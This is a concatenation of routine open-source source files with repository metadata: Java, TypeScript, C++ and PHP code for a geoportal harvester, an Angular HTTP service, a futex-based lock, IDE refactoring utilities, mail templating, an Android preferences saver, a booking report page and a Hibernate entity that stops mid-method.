/* See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * Esri Inc. licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.esri.gpt.control.webharvest.client.arcims; import com.esri.gpt.framework.resource.api.Resource; import com.esri.gpt.framework.resource.api.SourceUri; import com.esri.gpt.framework.resource.common.CommonPublishable; import com.esri.gpt.framework.util.ReadOnlyIterator; import java.io.IOException; import java.util.Collection; import java.util.Iterator; /** * ArcIMS records adapter. */ class ArcImsRecordsAdapter implements Iterable<Resource> { /** service proxy */ private ArcImsProxy proxy; /** collection of record source URI's */ private Collection<SourceUri> records; /** * Creates instance of the adapter. * @param proxy service proxy. * @param records collection of records source URI's */ public ArcImsRecordsAdapter(ArcImsProxy proxy, Collection<SourceUri> records) { if (proxy == null) throw new IllegalArgumentException("No proxy provided."); this.proxy = proxy; this.records = records; } public Iterator<Resource> iterator() { return new ArcImsRecordsIterator(); } /** * ArcIMS records iterator. */ private class ArcImsRecordsIterator extends ReadOnlyIterator<Resource> { /** iterator */ private Iterator<SourceUri> iterator = records.iterator(); public boolean hasNext() { return iterator.hasNext(); } public Resource next() { return new CommonPublishable() { private SourceUri uri = iterator.next(); public SourceUri getSourceUri() { return uri; } public String getContent() throws IOException { return proxy.read(uri.asString()); } }; } } }
usgin/usgin-geoportal
src/com/esri/gpt/control/webharvest/client/arcims/ArcImsRecordsAdapter.java
Java
apache-2.0
2,302
import { Injectable } from '@angular/core'; import { Http, Headers, RequestOptions, Response } from '@angular/http'; import { Observable } from 'rxjs/Observable'; import * as _ from 'lodash'; import 'rxjs/add/operator/map'; import 'rxjs/add/operator/catch'; import 'rxjs/add/observable/throw'; import 'rxjs/add/observable/forkJoin'; import { URL } from '../enums/index'; import { Node, ServiceDocument, ServiceDocumentQueryResult } from '../interfaces/index'; import { ODataUtil, StringUtil } from '../utils/index'; import { NodeSelectorService } from './node-selector.service'; import { LogService } from '../../core/index'; @Injectable() export class BaseService { /** * The id of the node that hosts the current application. */ protected hostNodeId: string; /** * The id of the node whose information is being displayed in the views (not the node selector). */ protected selectedNodeId: string; protected selectedNodeGroupReference: string; constructor ( protected http: Http, protected nodeSelectorService: NodeSelectorService, protected logService: LogService) { this.nodeSelectorService.getSelectedNode().subscribe( (node: Node) => { this.selectedNodeId = node ? node.id : ''; this.selectedNodeGroupReference = node ? StringUtil.parseDocumentLink(node.groupReference).id : 'default'; }, (error) => { this.logService.error(`Failed to retrieve selected node: ${error}`); }); this.nodeSelectorService.getHostNode().subscribe( (node: Node) => { this.hostNodeId = node ? node.id : ''; }, (error) => { this.logService.error(`Failed to retrieve host node: ${error}`); }); } getDocumentLinks<T extends ServiceDocumentQueryResult>(targetLink: string, odataOption: string = '', autoForward: boolean = true): Observable<string[]> { var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink, odataOption); } else if (odataOption) { link = `${link}${StringUtil.hasQueryParameter(link) ? '' : '?'}${odataOption}`; } return this.http.get(URL.API_PREFIX + link) .map((res: Response) => { return <string[]> (res.json() as T).documentLinks; }) .catch(this.onError); } getDocument<T extends ServiceDocument>(targetLink: string, odataOption: string = '', autoForward: boolean = true): Observable<T> { return this.getDocumentInternal<T>(targetLink, odataOption, autoForward); } getDocumentConfig<T extends ServiceDocument>(targetLink: string, autoForward: boolean = true): Observable<T> { return this.getDocumentInternal<T>(targetLink, '', autoForward, URL.CONFIG_SUFFIX); } getDocumentStats<T extends ServiceDocument>(targetLink: string, autoForward: boolean = true): Observable<T> { return this.getDocumentInternal<T>(targetLink, '', autoForward, URL.STATS_SUFFIX); } getDocuments<T extends ServiceDocument>(targetLinks: string[], odataOption: string = '', autoForward: boolean = true): Observable<T[]> { return Observable.forkJoin( _.map(targetLinks, (targetLink: string) => { var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink, odataOption); } else if (odataOption) { link = `${link}${StringUtil.hasQueryParameter(link) ? '' : '?'}${odataOption}`; } return this.http.get(URL.API_PREFIX + link).map((res: Response) => { var response: T = res.json(); if (_.isUndefined(response.documentSelfLink)) { response.documentSelfLink = targetLink; } return response; }); }) ) .catch(this.onError); } post<T extends ServiceDocument>(targetLink: string, body: any, autoForward: boolean = true): Observable<T> { var headers = new Headers({ 'Content-Type': 'application/json' }); var options = new RequestOptions({ headers: headers }); var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink); } return this.http.post( URL.API_PREFIX + link, _.isString(body) ? body : JSON.stringify(body), options) .map((res: Response) => { return <T> res.json(); }) .catch(this.onError); } patch<T extends ServiceDocument>(targetLink: string, body: any, autoForward: boolean = true): Observable<T> { var headers = new Headers({ 'Content-Type': 'application/json' }); var options = new RequestOptions({ headers: headers }); var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink); } return this.http.patch( URL.API_PREFIX + link, _.isString(body) ? body : JSON.stringify(body), options) .map((res: Response) => { return <T> res.json(); }) .catch(this.onError); } put<T extends ServiceDocument>(targetLink: string, body: any, autoForward: boolean = true): Observable<T> { var headers = new Headers({ 'Content-Type': 'application/json' }); var options = new RequestOptions({ headers: headers }); var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink); } return this.http.put( URL.API_PREFIX + link, _.isString(body) ? body : JSON.stringify(body), options) .map((res: Response) => { return <T> res.json(); }) .catch(this.onError); } delete<T extends ServiceDocument>(targetLink: string, autoForward: boolean = true): Observable<T> { var link: string = targetLink; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(targetLink); } return this.http.delete(URL.API_PREFIX + link) .map((res: Response) => { return <T> res.json(); }) .catch(this.onError); } getForwardingLink(targetLink: string, query: string = ''): string { var path: string = targetLink; var peer: string = this.selectedNodeId; // If there's a path in the targetLink, use it var pathInTargetLink: string = StringUtil.getQueryParametersByName(targetLink, 'path'); path = pathInTargetLink ? `/core/query-page/${pathInTargetLink}` : path; // If there's a peer in the targetLink, use it var peerInTargetLink: string = StringUtil.getQueryParametersByName(targetLink, 'peer'); peer = peerInTargetLink ? peerInTargetLink : peer; return `${URL.NODE_SELECTOR}/${this.selectedNodeGroupReference}/forwarding?peer=${peer}&path=${encodeURIComponent(path)}&query=${encodeURIComponent(query)}&target=PEER_ID`; } protected getDocumentInternal<T extends ServiceDocument>(targetLink: string, odataOption: string = '', autoForward: boolean = true, suffix: string = ''): Observable<T> { var link: string = targetLink + suffix; if (autoForward && this.selectedNodeId !== this.hostNodeId) { link = this.getForwardingLink(link, odataOption); } else if (odataOption) { link = `${link}${StringUtil.hasQueryParameter(link) ? '' : '?'}${odataOption}`; } return this.http.get(URL.API_PREFIX + link) .map((res: Response) => { return <T> res.json(); }) .catch(this.onError); } protected onError(error: Response) { return Observable.throw(error.json() || 'Server error'); } }
toliaqat/xenon
xenon-ui/src/main/ui/src/client/app/modules/app/services/base.service.ts
TypeScript
apache-2.0
8,677
package com.github.tkurz.media.ontology.exception; /** * ... * <p/> * Author: Thomas Kurz (tkurz@apache.org) */ public class NotComparableException extends Exception { }
tkurz/media-fragments-uri
src/main/java/com/github/tkurz/media/ontology/exception/NotComparableException.java
Java
apache-2.0
175
/* * Copyright 2016-present Facebook, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <folly/MicroLock.h> #include <thread> #include <folly/portability/Asm.h> namespace folly { void MicroLockCore::lockSlowPath(uint32_t oldWord, detail::Futex<>* wordPtr, uint32_t slotHeldBit, unsigned maxSpins, unsigned maxYields) { uint32_t newWord; unsigned spins = 0; uint32_t slotWaitBit = slotHeldBit << 1; retry: if ((oldWord & slotHeldBit) != 0) { ++spins; if (spins > maxSpins + maxYields) { // Somebody appears to have the lock. Block waiting for the // holder to unlock the lock. We set heldbit(slot) so that the // lock holder knows to FUTEX_WAKE us. newWord = oldWord | slotWaitBit; if (newWord != oldWord) { if (!wordPtr->compare_exchange_weak(oldWord, newWord, std::memory_order_relaxed, std::memory_order_relaxed)) { goto retry; } } (void)wordPtr->futexWait(newWord, slotHeldBit); } else if (spins > maxSpins) { // sched_yield(), but more portable std::this_thread::yield(); } else { folly::asm_volatile_pause(); } oldWord = wordPtr->load(std::memory_order_relaxed); goto retry; } newWord = oldWord | slotHeldBit; if (!wordPtr->compare_exchange_weak(oldWord, newWord, std::memory_order_acquire, std::memory_order_relaxed)) { goto retry; } } } // namespace folly
rklabs/folly
folly/MicroLock.cpp
C++
apache-2.0
2,308
/* * Copyright 2003-2012 Dave Griffith, Bas Leijdekkers * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.siyeh.ipp.trivialif; import javax.annotation.Nonnull; import com.intellij.psi.*; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.IncorrectOperationException; import com.siyeh.ipp.base.Intention; import com.siyeh.ipp.base.PsiElementPredicate; import com.siyeh.ipp.psiutils.ErrorUtil; import org.jetbrains.annotations.NonNls; public class ExpandBooleanIntention extends Intention { @Override @Nonnull public PsiElementPredicate getElementPredicate() { return new ExpandBooleanPredicate(); } @Override public void processIntention(@Nonnull PsiElement element) throws IncorrectOperationException { final PsiStatement containingStatement = PsiTreeUtil.getParentOfType(element, PsiStatement.class); if (containingStatement == null) { return; } if (ExpandBooleanPredicate.isBooleanAssignment(containingStatement)) { final PsiExpressionStatement assignmentStatement = (PsiExpressionStatement)containingStatement; final PsiAssignmentExpression assignmentExpression = (PsiAssignmentExpression)assignmentStatement.getExpression(); final PsiExpression rhs = assignmentExpression.getRExpression(); if (rhs == null) { return; } final PsiExpression lhs = assignmentExpression.getLExpression(); if (ErrorUtil.containsDeepError(lhs) || ErrorUtil.containsDeepError(rhs)) { return; } final String rhsText = rhs.getText(); final String lhsText = lhs.getText(); final PsiJavaToken sign = assignmentExpression.getOperationSign(); final String signText = sign.getText(); final String conditionText; if (signText.length() == 2) { conditionText = lhsText + signText.charAt(0) + rhsText; } else { conditionText = rhsText; } @NonNls final String statement = "if(" + conditionText + ") " + lhsText + " = true; else " + lhsText + " = false;"; replaceStatement(statement, containingStatement); } else if (ExpandBooleanPredicate.isBooleanReturn(containingStatement)) { final PsiReturnStatement returnStatement = (PsiReturnStatement)containingStatement; final PsiExpression returnValue = returnStatement.getReturnValue(); if (returnValue == null) { return; } if (ErrorUtil.containsDeepError(returnValue)) { return; } final String valueText = returnValue.getText(); @NonNls final String statement = "if(" + valueText + ") return true; else return false;"; replaceStatement(statement, containingStatement); } else if (ExpandBooleanPredicate.isBooleanDeclaration(containingStatement)) { final PsiDeclarationStatement declarationStatement = (PsiDeclarationStatement)containingStatement; final PsiElement declaredElement = declarationStatement.getDeclaredElements()[0]; if (!(declaredElement instanceof PsiLocalVariable)) { return; } final PsiLocalVariable variable = (PsiLocalVariable)declaredElement; final PsiExpression initializer = variable.getInitializer(); if (initializer == null) { return; } final String name = variable.getName(); @NonNls final String newStatementText = "if(" + initializer.getText() + ") " + name +"=true; else " + name + "=false;"; final PsiElementFactory factory = JavaPsiFacade.getElementFactory(containingStatement.getProject()); final PsiStatement newStatement = factory.createStatementFromText(newStatementText, containingStatement); declarationStatement.getParent().addAfter(newStatement, declarationStatement); initializer.delete(); } } }
consulo/consulo-java
java-impl/src/main/java/com/siyeh/ipp/trivialif/ExpandBooleanIntention.java
Java
apache-2.0
4,264
/* * Copyright 2000-2009 JetBrains s.r.o. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * @author max */ package com.intellij.lang; import com.intellij.lexer.Lexer; import com.intellij.lexer.LexerUtil; import com.intellij.psi.TokenType; import com.intellij.psi.impl.source.CharTableImpl; import com.intellij.psi.impl.source.CodeFragmentElement; import com.intellij.psi.impl.source.codeStyle.CodeEditUtil; import com.intellij.psi.impl.source.tree.*; import com.intellij.psi.tree.*; import com.intellij.util.CharTable; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; public abstract class ASTFactory { public static final DefaultFactory DEFAULT = new DefaultFactory(); private static final CharTable WHITSPACES = new CharTableImpl(); @Nullable public abstract CompositeElement createComposite(IElementType type); @Nullable public LazyParseableElement createLazy(ILazyParseableElementType type, CharSequence text) { if (type instanceof IFileElementType) { return new FileElement(type, text); } return new LazyParseableElement(type, text); } @Nullable public abstract LeafElement createLeaf(IElementType type, CharSequence text); @NotNull public static LazyParseableElement lazy(ILazyParseableElementType type, CharSequence text) { ASTNode node = type.createNode(text); if (node != null) return (LazyParseableElement)node; if (type == TokenType.CODE_FRAGMENT) { return new CodeFragmentElement(null); } LazyParseableElement psi = factory(type).createLazy(type, text); return psi != null ? psi : DEFAULT.createLazy(type, text); } @Deprecated @NotNull public static LeafElement leaf(IElementType type, CharSequence fileText, int start, int end, CharTable table) { return leaf(type, table.intern(fileText, start, end)); } @NotNull public static LeafElement leaf(IElementType type, CharSequence text) { if (type == TokenType.WHITE_SPACE) { return new PsiWhiteSpaceImpl(text); } if (type instanceof ILeafElementType) { return (LeafElement)((ILeafElementType)type).createLeafNode(text); } final LeafElement customLeaf = factory(type).createLeaf(type, text); return customLeaf != null ? customLeaf : DEFAULT.createLeaf(type, text); } private static ASTFactory factory(IElementType type) { return LanguageASTFactory.INSTANCE.forLanguage(type.getLanguage()); } public static LeafElement whitespace(CharSequence text) { PsiWhiteSpaceImpl w = new PsiWhiteSpaceImpl(WHITSPACES.intern(text)); CodeEditUtil.setNodeGenerated(w, true); return w; } public static LeafElement leaf(IElementType type, CharSequence text, CharTable table) { return leaf(type, table.intern(text)); } public static LeafElement leaf(final Lexer lexer, final CharTable charTable) { return leaf(lexer.getTokenType(), LexerUtil.internToken(lexer, charTable)); } @NotNull public static CompositeElement composite(IElementType type) { if (type instanceof ICompositeElementType) { return (CompositeElement)((ICompositeElementType)type).createCompositeNode(); } if (type == TokenType.CODE_FRAGMENT) { return new CodeFragmentElement(null); } final CompositeElement customComposite = factory(type).createComposite(type); return customComposite != null ? customComposite : DEFAULT.createComposite(type); } private static class DefaultFactory extends ASTFactory { @Override @NotNull public CompositeElement createComposite(IElementType type) { if (type instanceof IFileElementType) { return new FileElement(type, null); } return new CompositeElement(type); } @Override @NotNull public LeafElement createLeaf(IElementType type, CharSequence text) { final Language lang = type.getLanguage(); final ParserDefinition parserDefinition = LanguageParserDefinitions.INSTANCE.forLanguage(lang); if (parserDefinition != null) { if (parserDefinition.getCommentTokens().contains(type)) { return new PsiCommentImpl(type, text); } } return new LeafPsiElement(type, text); } } }
jexp/idea2
platform/lang-impl/src/com/intellij/lang/ASTFactory.java
Java
apache-2.0
4,716
/** * <a href="http://www.openolat.org"> * OpenOLAT - Online Learning and Training</a><br> * <p> * Licensed under the Apache License, Version 2.0 (the "License"); <br> * you may not use this file except in compliance with the License.<br> * You may obtain a copy of the License at the * <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache homepage</a> * <p> * Unless required by applicable law or agreed to in writing,<br> * software distributed under the License is distributed on an "AS IS" BASIS, <br> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. <br> * See the License for the specific language governing permissions and <br> * limitations under the License. * <p> * Initial code contributed and copyrighted by<br> * frentix GmbH, http://www.frentix.com * <p> */ package org.olat.core.util.mail.ui; import org.olat.core.CoreSpringFactory; import org.olat.core.gui.UserRequest; import org.olat.core.gui.components.form.flexible.FormItemContainer; import org.olat.core.gui.components.form.flexible.elements.TextElement; import org.olat.core.gui.components.form.flexible.impl.FormBasicController; import org.olat.core.gui.components.form.flexible.impl.FormLayoutContainer; import org.olat.core.gui.control.Controller; import org.olat.core.gui.control.WindowControl; import org.olat.core.util.Util; import org.olat.core.util.mail.MailManager; import org.olat.core.util.mail.MailModule; import org.olat.core.util.mail.MailUIFactory; /** * * Description:<br> * Customize the mail template * * <P> * Initial Date: 14 avr. 2011 <br> * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com */ public class MailTemplateAdminController extends FormBasicController { private TextElement templateEl; private final MailManager mailManager; public MailTemplateAdminController(UserRequest ureq, WindowControl wControl) { super(ureq, wControl, null, Util.createPackageTranslator(MailModule.class, ureq.getLocale())); mailManager = CoreSpringFactory.getImpl(MailManager.class); initForm(ureq); } @Override protected void initForm(FormItemContainer formLayout, Controller listener, UserRequest ureq) { setFormTitle("mail.template.title"); setFormDescription("mail.template.description"); setFormContextHelp(MailUIFactory.class.getPackage().getName(), "mail-admin-template.html", "chelp.mail-admin-template.title"); String def = mailManager.getMailTemplate(); templateEl = uifactory.addTextAreaElement("mail.template", "mail.template", 10000, 25, 50, true, def, formLayout); final FormLayoutContainer buttonGroupLayout = FormLayoutContainer.createButtonLayout("buttonLayout", getTranslator()); buttonGroupLayout.setRootForm(mainForm); formLayout.add(buttonGroupLayout); uifactory.addFormSubmitButton("save", buttonGroupLayout); } @Override protected void doDispose() { // } @Override protected boolean validateFormLogic(UserRequest ureq) { boolean allOk = true; String value = templateEl.getValue(); templateEl.clearError(); if(value.length() <= 0) { templateEl.setErrorKey("", null); allOk = false; } return allOk & super.validateFormLogic(ureq); } @Override protected void formOK(UserRequest ureq) { String value = templateEl.getValue(); mailManager.setMailTemplate(value); getWindowControl().setInfo("saved"); } }
stevenhva/InfoLearn_OpenOLAT
src/main/java/org/olat/core/util/mail/ui/MailTemplateAdminController.java
Java
apache-2.0
3,376
package com.example.android.miwok.SeatAval.mainapp2.Stations; import android.content.SharedPreferences; import com.google.gson.Gson; import java.util.ArrayList; public class SeatTwoStnsSaver implements Runnable { ArrayList<SeatTwoStnsClass> list =new ArrayList<SeatTwoStnsClass>(); SeatTwoStnsClass item; SharedPreferences sd; public SeatTwoStnsSaver(SharedPreferences sd, SeatTwoStnsClass item) { this.item=item; this.sd=sd; } @Override public void run() { Boolean elementRemoved=false; Gson gson = new Gson(); if(sd.getString("SeatTwoStnsSaver", "").equals("")) { System.out.println("Trains Saver is not there so creating SeatTwoStnsSaver and then adding"); list.add(item); System.out.println("element added :"+item); SharedPreferences.Editor prefsEditor = sd.edit(); String json = gson.toJson(new SeatTwoStnsSaverObject(list)); prefsEditor.putString("SeatTwoStnsSaver", json); prefsEditor.commit(); }else if(!sd.getString("SeatTwoStnsSaver", "").equals("")){ String json1 = sd.getString("SeatTwoStnsSaver", ""); System.out.println("here is json 1" + json1); SeatTwoStnsSaverObject obj = gson.fromJson(json1, SeatTwoStnsSaverObject.class); list=obj.getList(); System.out.println("list iterator on job..."); for(SeatTwoStnsClass item0:list){ if(item0.getFromStnCode().equals(item.getFromStnCode()) && item0.getToStnCode().equals(item.getToStnCode())){ list.remove(item0); elementRemoved=true; System.out.println("element removed :"+item.getFromStnCode()); list.add(item); System.out.println("element added :"+item); break; } } if(!elementRemoved) { if (list.size() > 4) { System.out.println("list greater than 4"); list.remove(0); list.add(item); System.out.println("element added :"+item); } else { System.out.println("list smaller than 4"); list.add(item); System.out.println("element added :"+item); } } SharedPreferences.Editor prefsEditor = sd.edit(); String json = gson.toJson(new SeatTwoStnsSaverObject(list)); prefsEditor.putString("SeatTwoStnsSaver", json); prefsEditor.commit(); System.out.println("creating SeatTwoStnsSaver in sd"); }else{ System.out.println("dont know what to do...."); } } }
rishabhnayak/ud839_Miwok-Starter-code
app/src/main/java/com/example/android/miwok/SeatAval/mainapp2/Stations/SeatTwoStnsSaver.java
Java
apache-2.0
2,984
<?php echo $header; ?> <script type="text/javascript"> function loading() { $('#frame_data').html('<div class="loading"></div>'); } function tampilkan_list(posisi) { loading(); $('#frame_data').load(base_url+'report/regular_list/'+posisi); } function list_filter(posisi) { var filter = $('input:radio[name=filter]:checked').val(); var kata_kunci = $('#nomor_pemesanan').val(); var no_va = $('#no_va').val(); var id_cluster = $('#nama_cluster').val(); var kategori = encodeURI($('#nama_kategori').val()); if(!filter) { alert("Anda belum memilih jenis pencarian"); } else { if(filter == "nomor_pemesanan") { if(!kata_kunci) { alert("Nomor pemesanan yang akan dicari masih kosong !"); } else { loading(); $('#frame_data').load(base_url+'report/regular_cari_list/'+posisi+'/'+filter+'/0/0/'+kata_kunci); } } if(filter == "no_va") { if(!no_va) { alert("Nomor Virtual Account yang akan dicari masih kosong !"); } else { loading(); $('#frame_data').load(base_url+'report/regular_cari_list/'+posisi+'/'+filter+'/0/0/'+no_va); } } else if(filter == "cluster") { loading(); $('#frame_data').load(base_url+'report/regular_cari_list/'+posisi+'/'+filter+'/'+id_cluster+'/'+kategori+'/0'); } } } function hapus_pemesanan(id_pemesanan, id_unit, posisi){ if(confirm("Yakin akan menghapus data?")){ $.post(base_url+'report/regular_delete/'+id_pemesanan+'/'+id_unit, function(){ tampilkan_list(posisi); }); } return false; } function verify(id_pemesanan) { $.post(base_url+'report/verify_transaksi/'+id_pemesanan, function(result) { var status = result.split("|"); if (status[0] == "Sold") { tampilkan_list(0); } else { if (status[0] == "Booked") { $("#status_pemesanan_"+id_pemesanan).html("<font color='green'>"+status[0]+"</font>"); } if (status[0] == "Tanda Jadi") { $("#status_pemesanan_"+id_pemesanan).html("<font color='red'>"+status[0]+"</font>"); } $("#status_verify_"+id_pemesanan).html("<font color='green'>"+status[1]+"</font>"); $("#tanggal_exp_"+id_pemesanan).html(status[2]); $("#tanggal_tanda_jadi_"+id_pemesanan).html(status[3]); } }); } function refund(id_pemesanan) { if(confirm("Yakin akan data ini akan refund?")){ $.post(base_url+'report/refund/'+id_pemesanan, function(result) { var status = result.split("|"); $("#status_pemesanan_"+id_pemesanan).html("<font color='red'>"+status[0]+"</font>"); $("#status_verify_"+id_pemesanan).html("<font color='green'>"+status[1]+"</font>"); }); } return false; } function interval_timeout() { window.setInterval(function(){ scheduler_timeout(); }, 5000); } function scheduler_timeout(){ $.ajax({url: base_url+'scheduler/timeout', success:function(result){ if(result == "found") { tampilkan_list(0); } }}); } scheduler_timeout(); interval_timeout(); </script> </head> <body> <?php # Load profile $this->load->view('top_profile_v'); # Load menu dashboard $this->load->view('menu_v'); ?> <div id="frame_data"> <div class="loading"></div> </div> <script type="text/javascript"> $(document).ready(function() { $('#frame_data').load(base_url+'report/regular_list/0'); }) </script> </body> </html>
rizafr/ANCOL-SEAFRONT
application/views/report_regular_v.php
PHP
apache-2.0
3,447
package com.fedevela.core.asic.pojos; /** * Created by fvelazquez on 27/03/14. */ import java.util.Date; import javax.persistence.Entity; import javax.persistence.Table; import javax.persistence.*; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlTransient; import org.codehaus.jackson.annotate.JsonIgnore; import org.hibernate.annotations.*; @Entity @Table(name = "CHECKLIST_CAP", catalog = "", schema = "PROD") @XmlRootElement public class ChecklistCap implements java.io.Serializable { private static final long serialVersionUID = 1L; @EmbeddedId protected ChecklistCapPK checklistCapPK; @Basic(optional = false) @Column(name = "SCLTCOD") private Integer scltcod; @Column(name = "FECHA_CAPTURA", insertable = true, updatable = false) @Temporal(TemporalType.TIMESTAMP) private Date fechaCaptura; @Column(name = "FECHA_MODIFICACION") @Temporal(TemporalType.TIMESTAMP) private Date fechaModificacion; @Column(name = "USUARIO_CAPTURA", insertable = true, updatable = false) private String usuarioCaptura; @Column(name = "FECHA") @Temporal(TemporalType.TIMESTAMP) private Date fecha; @Column(name = "CATEGORIA") private Integer categoria; @Column(name = "VALOR") private Integer valor; @Column(name = "OBSERVACIONES") private String observaciones; @Column(name = "DOCDEF") private Integer docdef; @Column(name = "CARACTERISTICA") private String caracteristica; @Column(name = "FECHA_UTIL") @Temporal(TemporalType.TIMESTAMP) private Date fechaUtil; @Lob @Column(name = "DATO") private String dato; @JoinColumn(name = "NUNICODOC", referencedColumnName = "NUNICODOC", insertable = false, updatable = false) @ManyToOne(optional = false) private CabeceraDoc cabeceraDoc; @OneToOne @JoinColumnsOrFormulas({ @JoinColumnOrFormula(column=@JoinColumn(name = "NUNICODOCT", referencedColumnName = "ETIQUETA", insertable = false, updatable = false)), @JoinColumnOrFormula(formula=@JoinFormula(value = "'T'", referencedColumnName = "TIPO"))}) @NotFound(action = NotFoundAction.IGNORE) private VwEtiqueta etiqueta; public ChecklistCap() { } public ChecklistCap(ChecklistCapPK checklistCapPK) { this.checklistCapPK = checklistCapPK; } public ChecklistCap(Long nunicodoc, Long nunicodoct, Short doccod) { this.checklistCapPK = new ChecklistCapPK(nunicodoc, nunicodoct, doccod); } /* public ChecklistCap(long nunicodoct) { this.nunicodoct = nunicodoct; } public ChecklistCap(long nunicodoct, long nunicodoc) { this.nunicodoct = nunicodoct; this.nunicodoc = nunicodoc; } * */ @XmlTransient public CabeceraDoc getCabeceraDoc() { return cabeceraDoc; } public void setCabeceraDoc(CabeceraDoc cabeceraDoc) { this.cabeceraDoc = cabeceraDoc; } public String getCaracteristica() { return caracteristica; } public void setCaracteristica(String caracteristica) { this.caracteristica = caracteristica; } public Integer getCategoria() { return categoria; } public void setCategoria(Integer categoria) { this.categoria = categoria; } public Integer getDocdef() { return docdef; } public void setDocdef(Integer docdef) { this.docdef = docdef; } public Date getFecha() { return fecha; } public void setFecha(Date fecha) { this.fecha = fecha; } public Date getFechaCaptura() { return fechaCaptura; } public void setFechaCaptura(Date fechaCaptura) { this.fechaCaptura = fechaCaptura; } public Date getFechaModificacion() { return fechaModificacion; } public void setFechaModificacion(Date fechaModificacion) { this.fechaModificacion = fechaModificacion; } public String getObservaciones() { return observaciones; } public void setObservaciones(String observaciones) { this.observaciones = observaciones; } public Integer getScltcod() { return scltcod; } public void setScltcod(Integer scltcod) { this.scltcod = scltcod; } public String getUsuarioCaptura() { return usuarioCaptura; } public void setUsuarioCaptura(String usuarioCaptura) { this.usuarioCaptura = usuarioCaptura; } public Integer getValor() { return valor; } public void setValor(Integer valor) { this.valor = valor; } @XmlTransient public ChecklistCapPK getChecklistCapPK() { return checklistCapPK; } public void setChecklistCapPK(ChecklistCapPK checklistCapPK) { this.checklistCapPK = checklistCapPK; } public Long getNunicodoc() { return checklistCapPK.getNunicodoc(); } public void setNunicodoc(Long nunicodoc) { if (checklistCapPK == null) { checklistCapPK = new ChecklistCapPK(); } checklistCapPK.setNunicodoc(nunicodoc); } public Long getNunicodoct() { return checklistCapPK.getNunicodoct(); } public void setNunicodoct(Long nunicodoct) { if (checklistCapPK == null) { checklistCapPK = new ChecklistCapPK(); } checklistCapPK.setNunicodoct(nunicodoct); } public Short getDoccod() { return checklistCapPK.getDoccod(); } public void setDoccod(Short doccod) { if (checklistCapPK == null) { checklistCapPK = new ChecklistCapPK(); } checklistCapPK.setDoccod(doccod); } public Date getFechaUtil() { return fechaUtil; } public void setFechaUtil(Date fechaUtil) { this.fechaUtil = fechaUtil; } public String getDato() { return dato; } public void setDato(String dato) { this.dato = dato; } @XmlTransient @JsonIgnore public VwEtiqueta getEtiqueta() { return etiqueta; } public void setEtiqueta(VwEtiqueta etiqueta) { this.etiqueta = etiqueta; } /** * Este codigo se queda comentado porque tenemos el error actualmente de * insertar T's duplicadas. * * @param obj * @return */ /*@Override public int hashCode() { int hash = 5; hash = 11 * hash + (this.checklistCapPK != null && this.checklistCapPK.getNunicodoct() != null ? this.checklistCapPK.getNunicodoct().hashCode() : 0); return hash; } @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final ChecklistCap other = (ChecklistCap) obj; Long id = this.checklistCapPK == null ? null : this.checklistCapPK.getNunicodoct(); Long ot = other.checklistCapPK == null ? null : other.checklistCapPK.getNunicodoct(); if (id != ot && (id == null || !id.equals(ot))) { return false; } return true; } @Override public String toString() { return "ChecklistCap{" + "checklistCapPK=" + checklistCapPK + ", scltcod=" + scltcod + ", fechaCaptura=" + fechaCaptura + ", fechaModificacion=" + fechaModificacion + ", usuarioCaptura=" + usuarioCaptura + ", fecha=" + fecha + ", categoria=" + categoria + ", valor=" + valor + ", observaciones=" + observaciones + ", docdef=" + docdef + ", caracteristica=" + caracteristica + ", cabeceraDoc=" + cabeceraDoc + '}'; }*/ @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final ChecklistCap other = (ChecklistCap) obj; if (this.checklistCapPK != other.checklistCapPK && (this.checklistCapPK == null || !this.checklistCapPK.equals(other.checklistCapPK))) { return false; } return true; } @Override public int hashCode() { int hash = 3; hash = 73 * hash + (this.checklistCapPK != null ? this.checklistCapPK.hashCode() : 0); return hash; } @Override public String toString() { return "ChecklistCap{" + "checklistCapPK=" + checklistCapPK + ", scltcod=" + scltcod + ", fechaCaptura=" + fechaCaptura + ", fechaModificacion=" 